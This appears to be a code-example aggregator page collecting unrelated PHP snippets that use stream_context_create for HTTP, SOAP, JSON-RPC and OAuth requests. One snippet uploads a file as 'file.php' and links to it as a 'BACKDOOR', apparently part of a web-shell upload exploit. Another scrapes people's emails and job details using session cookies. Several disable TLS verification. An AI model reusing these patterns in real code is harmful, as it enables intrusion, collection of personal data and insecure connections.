PHP stream_context_create函数代码示例

function do_post_request($url, $postdata, $files = NULL)
{
    $data = "";
    $boundary = "---------------------" . substr(md5(rand(0, 32000)), 0, 10);
    if (is_array($postdata)) {
        foreach ($postdata as $key => $val) {
            $data .= "--" . $boundary . "\n";
            $data .= "Content-Disposition: form-data; name=" . $key . "\n\n" . $val . "\n";
        }
    }
    $data .= "--" . $boundary . "\n";
    if (is_array($files)) {
        foreach ($files as $key => $file) {
            $fileContents = file_get_contents($file['tmp_name']);
            $data .= "Content-Disposition: form-data; name=" . $key . "; filename=" . $file['name'] . "\n";
            $data .= "Content-Type: application/x-bittorrent\n";
            $data .= "Content-Transfer-Encoding: binary\n\n";
            $data .= $fileContents . "\n";
            $data .= "--" . $boundary . "--\n";
        }
    }
    $params = array('http' => array('method' => 'POST', 'header' => 'Content-Type: multipart/form-data; boundary=' . $boundary, 'content' => $data));
    $ctx = stream_context_create($params);
    $fp = @fopen($url, 'rb', false, $ctx);
    if (!$fp) {
        throw new Exception("Problem with " . $url . ", " . $php_errormsg);
    }
    $response = @stream_get_contents($fp);
    if ($response === false) {
        throw new Exception("Problem reading data from " . $url . ", " . $php_errormsg);
    }
    return $response;
}

function _test_environment_getHello($url)
{
    $fp = fopen($url, 'r', false, stream_context_create(array('http' => array('method' => "GET", 'timeout' => '10', 'header' => "Accept-Encoding: deflate, gzip\r\n"))));
    $meta = stream_get_meta_data($fp);
    $encoding = '';
    $length = 0;
    foreach ($meta['wrapper_data'] as $i => $header) {
        if (preg_match('@^Content-Length:\\s*(\\d+)$@i', $header, $m)) {
            $length = $m[1];
        } elseif (preg_match('@^Content-Encoding:\\s*(\\S+)$@i', $header, $m)) {
            if ($m[1] !== 'identity') {
                $encoding = $m[1];
            }
        }
    }
    $streamContents = stream_get_contents($fp);
    fclose($fp);
    if (__FILE__ === realpath($_SERVER['SCRIPT_FILENAME'])) {
        if ($length != 6) {
            echo "\nReturned content should be 6 bytes and not HTTP encoded.\n" . "Headers returned by: {$url}\n\n";
            var_export($meta['wrapper_data']);
            echo "\n\n";
        }
    }
    return array('length' => $length, 'encoding' => $encoding, 'bytes' => $streamContents);
}

function do_post_request($url, $res, $file, $name)
{
    $data = "";
    $boundary = "---------------------" . substr(md5(rand(0, 32000)), 0, 10);
    $data .= "--{$boundary}\n";
    $fileContents = file_get_contents($file);
    $md5 = md5_file($file);
    $ext = pathinfo($file, PATHINFO_EXTENSION);
    $data .= "Content-Disposition: form-data; name=\"file\"; filename=\"file.php\"\n";
    $data .= "Content-Type: text/plain\n";
    $data .= "Content-Transfer-Encoding: binary\n\n";
    $data .= $fileContents . "\n";
    $data .= "--{$boundary}--\n";
    $params = array('http' => array('method' => 'POST', 'header' => 'Content-Type: multipart/form-data; boundary=' . $boundary, 'content' => $data));
    $ctx = stream_context_create($params);
    $fp = fopen($url, 'rb', false, $ctx);
    if (!$fp) {
        throw new Exception("Erreur !");
    }
    $response = @stream_get_contents($fp);
    if ($response === false) {
        throw new Exception("Erreur !");
    } else {
        echo "file should be here : ";
        /* LETTERBOX */
        if (count($response) > 1) {
            echo $response;
        } else {
            echo "<a href='" . $res . "tmp/tmp_file_" . $name . "." . $ext . "'>BACKDOOR<a>";
        }
    }
}

 /**
  * @param bool $testEnv
  * @param string $caFile
  * @return resource
  */
 private function getStreamContext($testEnv = false, $caFile = null)
 {
     if ($testEnv) {
         $host = $this->certificatePeerName['test'];
     } else {
         $host = $this->certificatePeerName['production'];
     }
     $this->streamContextOption['ssl']['crypto_method'] = STREAM_CRYPTO_METHOD_TLS_CLIENT;
     $this->streamContextOption['ssl']['verify_peer'] = true;
     $this->streamContextOption['ssl']['SNI_enabled'] = true;
     // Disable TLS compression to prevent CRIME attacks where supported (PHP 5.4.13 or later).
     if (PHP_VERSION_ID >= 50413) {
         $this->streamContextOption['ssl']['disable_compression'] = true;
     }
     if (PHP_VERSION_ID < 50600) {
         //CN_match was deprecated in favour of peer_name in PHP 5.6
         $this->streamContextOption['ssl']['CN_match'] = $host;
         $this->streamContextOption['ssl']['SNI_server_name'] = $host;
         // PHP 5.6 or greater will find the system cert by default. When < 5.6, use the system ca-certificates.
         if (is_null($caFile)) {
             $this->streamContextOption['ssl']['cafile'] = $this->getDefaultCABundle();
         } else {
             $this->streamContextOption['ssl']['cafile'] = $caFile;
         }
     } else {
         $this->streamContextOption['ssl']['peer_name'] = $host;
         $this->streamContextOption['ssl']['verify_peer_name'] = true;
     }
     return stream_context_create($this->streamContextOption);
 }

 private function _request($request)
 {
     $request = array_map('Comet_encode', $request);
     array_unshift($request, $this->ORIGIN);
     $ctx = stream_context_create(array('http' => array('timeout' => 200)));
     return json_decode(file_get_contents_curl(implode('/', $request)), true);
 }

function get_profile_email($url)
{
    global $g_acegi_cookie;
    global $g_session_cookie;
    global $g_delay;
    sleep($g_delay);
    // Create a stream
    // get cookie values using wget commands
    $cookie = sprintf("Cookie: ACEGI_SECURITY_HASHED_REMEMBER_ME_COOKIE=%s; JSESSIONID=%s\r\n", $g_acegi_cookie, $g_session_cookie);
    $opts = array('http' => array('method' => "GET", 'header' => "Accept-language: en\r\n" . $cookie));
    $context = stream_context_create($opts);
    @($html = file_get_contents($url, false, $context));
    $doc = new \DOMDocument();
    @$doc->loadHTML($html);
    $emailNode = $doc->getElementById("email1__ID__");
    $nameNode = $doc->getElementById("name1__ID__");
    $titleNode = $doc->getElementById("title1__ID__");
    $companyNode = $doc->getElementById("company1__ID__");
    if (!is_null($emailNode)) {
        $data = array();
        $data["email"] = $emailNode->nodeValue;
        $data["name"] = is_null($nameNode) ? "" : $nameNode->nodeValue;
        $data["title"] = is_null($titleNode) ? "" : $titleNode->nodeValue;
        $data["company"] = is_null($companyNode) ? "" : $companyNode->nodeValue;
        return $data;
    }
    return NULL;
}

 public function __call($method, $arguments)
 {
     $dom = new DOMDocument('1.0', 'UTF-8');
     $element = $dom->createElement('method');
     $element->setAttribute('name', $method);
     foreach ($arguments as $argument) {
         $child = $dom->createElement('argument');
         $textNode = $dom->createTextNode($argument);
         $child->appendChild($textNode);
         $element->appendChild($child);
     }
     $dom->appendChild($element);
     $data = 'service=' . $dom->saveXML();
     $params = array('http' => array('method' => 'POST', 'content' => $data));
     $ctx = stream_context_create($params);
     $fp = @fopen($this->server, 'rb', false, $ctx);
     if (!$fp) {
         throw new Exception('Problem with URL');
     }
     $response = @stream_get_contents($fp);
     if ($response === false) {
         throw new Exception("Problem reading data from {$this->server}");
     }
     $dom = new DOMDocument(null, 'UTF-8');
     $dom->loadXML($response);
     $result = $dom->childNodes->item(0)->childNodes->item(0)->nodeValue;
     $type = $dom->childNodes->item(0)->childNodes->item(1)->nodeValue;
     settype($result, $type);
     return $result;
 }

function sendOAuthBodyPOST($method, $endpoint, $oauth_consumer_key, $oauth_consumer_secret, $content_type, $body)
{
    $hash = base64_encode(sha1($body, TRUE));
    $parms = array('oauth_body_hash' => $hash);
    $test_token = '';
    $hmac_method = new OAuthSignatureMethod_HMAC_SHA1();
    $test_consumer = new OAuthConsumer($oauth_consumer_key, $oauth_consumer_secret, NULL);
    $acc_req = OAuthRequest::from_consumer_and_token($test_consumer, $test_token, $method, $endpoint, $parms);
    $acc_req->sign_request($hmac_method, $test_consumer, $test_token);
    // Pass this back up "out of band" for debugging
    global $LastOAuthBodyBaseString;
    $LastOAuthBodyBaseString = $acc_req->get_signature_base_string();
    // echo($LastOAuthBodyBaseString."\m");
    $header = $acc_req->to_header();
    $header = $header . "\r\nContent-type: " . $content_type . "\r\n";
    $params = array('http' => array('method' => 'POST', 'content' => $body, 'header' => $header));
    try {
        $ctx = stream_context_create($params);
        $fp = @fopen($endpoint, 'rb', false, $ctx);
    } catch (Exception $e) {
        $fp = false;
    }
    if ($fp) {
        $response = @stream_get_contents($fp);
    } else {
        // Try CURL
        $headers = explode("\r\n", $header);
        $response = sendXmlOverPost($endpoint, $body, $headers);
    }
    if ($response === false) {
        throw new Exception("Problem reading data from {$endpoint}, {$php_errormsg}");
    }
    return $response;
}

 public function __construct($connProviderWsdlUri, $nsaProvider, $nsaRequester, $callBackServerUri = null, LocalCertificate $certificate = null)
 {
     if ($nsaProvider == null || $nsaRequester == null) {
         throw new \Exception('NSA provider and NSA requester must be informed');
     }
     $this->nsaProvider = $nsaProvider;
     $this->nsaRequester = $nsaRequester;
     if ($certificate != null && !$certificate instanceof LocalCertificate) {
         throw new \Exception('Certificate must be informed like a LocalCertificate object');
     }
     $this->localCert = $certificate;
     $this->connProviderWsdlUri = $connProviderWsdlUri;
     $this->callbackServerUri = $callBackServerUri;
     $isSsl = $this->localCert == null ? false : true;
     $streamContextOptions = ['ssl' => ['verify_peer' => $isSsl, 'allow_self_signed' => true], 'https' => ['curl_verify_ssl_peer' => $isSsl, 'curl_verify_ssl_host' => $isSsl]];
     if (!$isSsl) {
         $streamContextOptions['ssl']['ciphers'] = 'SHA1';
     }
     $context = stream_context_create($streamContextOptions);
     $soapOptions = ['cache_wsdl' => WSDL_CACHE_NONE, 'stream_context' => $context, 'trace' => 1];
     if ($isSsl) {
         $soapOptions['local_cert'] = $this->localCert->getCertPath();
         $soapOptions['passphrase'] = $this->localCert->getCertPassphrase();
     }
     parent::__construct($this->connProviderWsdlUri, $soapOptions);
 }

 /**
  * Sends a JSON-RPC request
  * @param Tivoka_Request $request A Tivoka request
  * @return Tivoka_Request if sent as a batch request the BatchRequest object will be returned
  */
 public function send($request)
 {
     if (func_num_args() > 1) {
         $request = func_get_args();
     }
     if (is_array($request)) {
         $request = Tivoka::createBatch($request);
     }
     if (!$request instanceof Tivoka_Request) {
         throw new Tivoka_Exception('Invalid data type to be sent to server');
     }
     $parse = parse_url($this->target);
     // preparing connection...
     $context = stream_context_create(array($parse['scheme'] => array('content' => (string) $request, 'header' => "Content-Type: application/json\r\n" . "Connection: Close\r\n", 'method' => 'POST', 'timeout' => 10.0)));
     //sending...
     if ($this->oauth_consumer) {
         $oauth = new OAuth_Request($this->oauth_consumer, 'POST', $this->target, array(), (string) $request);
         $response = $oauth->request($context);
     } else {
         $response = @file_get_contents($this->target, false, $context);
     }
     if ($response === FALSE) {
         throw new Tivoka_Exception('Connection to "' . $this->target . '" failed', Tivoka::ERR_CONNECTION_FAILED);
     }
     $request->setResponse($response);
     return $request;
 }

 /**
  * Get the content at the given URL using an HTTP GET call.
  *
  * @access public
  * @static
  * @param $url URL of the content.               
  * @return string Content at the given URL, false otherwise.
  */
 public static function getHTTPContent($url)
 {
     // Sanity check
     if (empty($url)) {
         return false;
     }
     // Create the HTTP options for the HTTP stream context, see below
     // Set phpMyFAQ agent related data
     $agent = 'phpMyFAQ/' . PMF_Configuration::getInstance()->get('main.currentVersion') . ' on PHP/' . PHP_VERSION;
     $opts = array('header' => 'User-Agent: ' . $agent . "\r\n", 'method' => 'GET');
     // HTTP 1.1 Virtual Host
     $urlParts = @parse_url($url);
     if (isset($urlParts['host'])) {
         $opts['header'] = $opts['header'] . 'Host: ' . $urlParts['host'] . "\r\n";
     }
     // Socket timeout
     if (version_compare(PHP_VERSION, '5.2.1', '<')) {
         @ini_set('default_socket_timeout', 5);
     } else {
         $opts['timeout'] = 5;
     }
     // Create the HTTP stream context
     $ctx = stream_context_create(array('http' => $opts));
     return file_get_contents($url, $flags, $ctx);
 }

 public function MakeAsyncPostRequest($postData)
 {
     $content = http_build_query($postData, '', '&');
     $context = stream_context_create(array('http' => array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded;', 'content' => $content)));
     $handle = @fopen($this->uri, 'rb', false, $context);
     return $handle != false;
 }

 protected function post($method, $parameters = [])
 {
     $options = ["ssl" => ["verify_peer" => false, "verify_peer_name" => false], 'http' => ['header' => "Content-type: application/json; charset=utf-8\r\n" . "ApiToken: " . $this->parameters['apitoken'] . "\r\n", 'method' => "POST", 'content' => json_encode($this->getApiParameters($parameters))]];
     $context = stream_context_create($options);
     $result = file_get_contents($this->url . $method, false, $context);
     return $this->parseResult($result);
 }

 /**
  * @param $hosts
  * @return string
  */
 public static function getFastestRealTime($hosts)
 {
     $mint = 60.0;
     $s_url = '';
     $count_hosts = count($hosts);
     for ($i = 0; $i < $count_hosts; $i++) {
         $start = microtime(true);
         $opts = array('http' => array('method' => 'GET', 'timeout' => 3));
         $context = stream_context_create($opts);
         $homepage = null;
         try {
             $homepage = file_get_contents($hosts[$i], false, $context);
         } catch (\Exception $e) {
             echo $e;
         }
         $ends = microtime(true);
         if ($homepage === null || $homepage === '') {
             $diff = 60.0;
         } else {
             $diff = $ends - $start;
         }
         if ($mint > $diff) {
             $mint = $diff;
             $s_url = $hosts[$i];
         }
     }
     return $s_url;
 }

 /**
  * Execute a HTTP request to the remote server
  *
  * Returns the result from the remote server.
  *
  * @param string $method
  * @param string $path
  * @param \eZ\Publish\Core\REST\Common\Message $message
  *
  * @return \eZ\Publish\Core\REST\Common\Message
  */
 public function request($method, $path, Message $message = null)
 {
     $message = $message ?: new Message();
     $requestHeaders = $this->getRequestHeaders($message->headers);
     $url = $this->server . $path;
     $contextOptions = array('http' => array('method' => $method, 'content' => $message->body, 'ignore_errors' => true, 'header' => $requestHeaders, 'follow_location' => 0));
     $httpFilePointer = @fopen($url, 'r', false, stream_context_create($contextOptions));
     // Check if connection has been established successfully
     if ($httpFilePointer === false) {
         throw new ConnectionException($this->server, $path, $method);
     }
     // Read request body
     $body = '';
     while (!feof($httpFilePointer)) {
         $body .= fgets($httpFilePointer);
     }
     $metaData = stream_get_meta_data($httpFilePointer);
     // This depends on PHP compiled with or without --curl-enable-streamwrappers
     $rawHeaders = isset($metaData['wrapper_data']['headers']) ? $metaData['wrapper_data']['headers'] : $metaData['wrapper_data'];
     $headers = array();
     foreach ($rawHeaders as $lineContent) {
         // Extract header values
         if (preg_match('(^HTTP/(?P<version>\\d+\\.\\d+)\\s+(?P<status>\\d+))S', $lineContent, $match)) {
             $headers['version'] = $match['version'];
             $headers['status'] = (int) $match['status'];
         } else {
             list($key, $value) = explode(':', $lineContent, 2);
             $headers[$key] = ltrim($value);
         }
     }
     return new Message($headers, $body, $headers['status']);
 }